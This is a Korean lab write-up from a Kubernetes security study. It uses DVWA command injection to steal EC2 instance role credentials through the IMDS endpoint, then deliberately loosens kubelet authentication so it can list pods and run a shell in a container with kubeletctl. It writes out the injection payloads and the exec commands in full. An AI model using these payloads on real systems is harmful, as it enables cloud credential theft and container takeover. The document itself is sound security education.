OWASP Kubernetes Top Ten에 K8S 보안 위협이 여럿 있다.

Untitled

https://awskoreamarketingasset.s3.amazonaws.com/2022 Summit/pdf/T10S1_EKS 환경을 더 효율적으로 더 안전하게.pdf

이 중에서 몇 가지만 실습하고자 한다.

POD의 IMDS API 악용

이번 실습은 EKS pod가 IMDS API를 악용하는 시나리오이다.

DVWA에서 자격증명을 탈취할 것이다.

DVWA(Damn Vulnerable Web Application)란,

취약점 진단 및 모의해킹을 할 수 있도록 만들어진 웹 어플리케이션이며, Command Injection 기능을 사용할 것이다.

eks-practice/dvwa_webapp at main · choisungwook/eks-practice

위 링크와 가시다님 노션을 참조하여 실습을 진행한다.

  1. IMDS를 통해 토큰을 탈취한다.

     8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
    

    Untitled

  2. EC2 Instance Profile (IAM Role) 이름을 확인한다.

     8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAHxCDIrx1WLNl5Bl_eEqPd5JfioAzbAxsG1N8WeOkguX5hzvUQ==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/
    

    Untitled

  3. 얻어낸 토큰과 Role 이름으로 EC2 Instance Profile (IAM Role) 자격 증명을 탈취할 수 있다.

     8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAHxCDIrx1WLNl5Bl_eEqPd5JfioAzbAxsG1N8WeOkguX5hzvUQ==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-3JfVrafnCvK1
    

    Untitled

Kubelet 미흡한 인증/인가 설정 시 위험

우선 kubelet의 사용 포트를 확인한다.

Untitled 4

awscli가 설치된 테스트 POD를 생성하고

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: **myawscli**
spec:
  #serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

testuser 터미널 접속

기존 kubeconfig를 삭제하고 시작한다.

실습을 위해 kubeletctl을 설치한다.

curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

myawscli POD가 설치된 노드를 확인한 후에 해당 노드에 요청을 날려 본다.

# curl -k https://$N1:10250/pods; echo
Unauthorized

kubeconfig가 없고 아무 권한이 없으니 Unauthorized로 거부당했다.

admin 터미널 접속

노드에 접속하여 kubelet-config.json를 수정한다.

sudo vi /etc/kubernetes/kubelet/kubelet-config.json

authentication의 anonymous와 authorization의 mode를 수정하였다.

Untitled 5

kubelet을 재시작한다.

sudo systemctl restart kubelet
systemctl status kubelet

다시 testuser 터미널 접속

권한이 없었는데 이제 kubeconfig가 없어도 접근이 된다.

curl -s -k https://$N1:10250/pods | jq
curl -k https://$N1:10250/configz | jq

Untitled

POD 리스트도 볼 수 있는 것도 놀랐는데

kubeletctl -s $N1 exec "/bin/bash" -n default -p myawscli -c my-aws-cli

로 컨테이너에 접속해서 명령어 실행도 가능했다!!!

Untitled

아무래도 다른 무엇보다 kubelet 설정을 잘못해서 보안이 뚫리게 된다는게 제일 위험할 듯하다.

작년에 EKS Challenge를 도전해 본적이 있는데

이 문제를 풀다 보면 보안 허점을 느낄 수 있어, 한번 풀어 보는 것을 추천한다!

[DevOps/Kubernetes] EKS Challenge 도전!

Categories:

Updated:

Leave a comment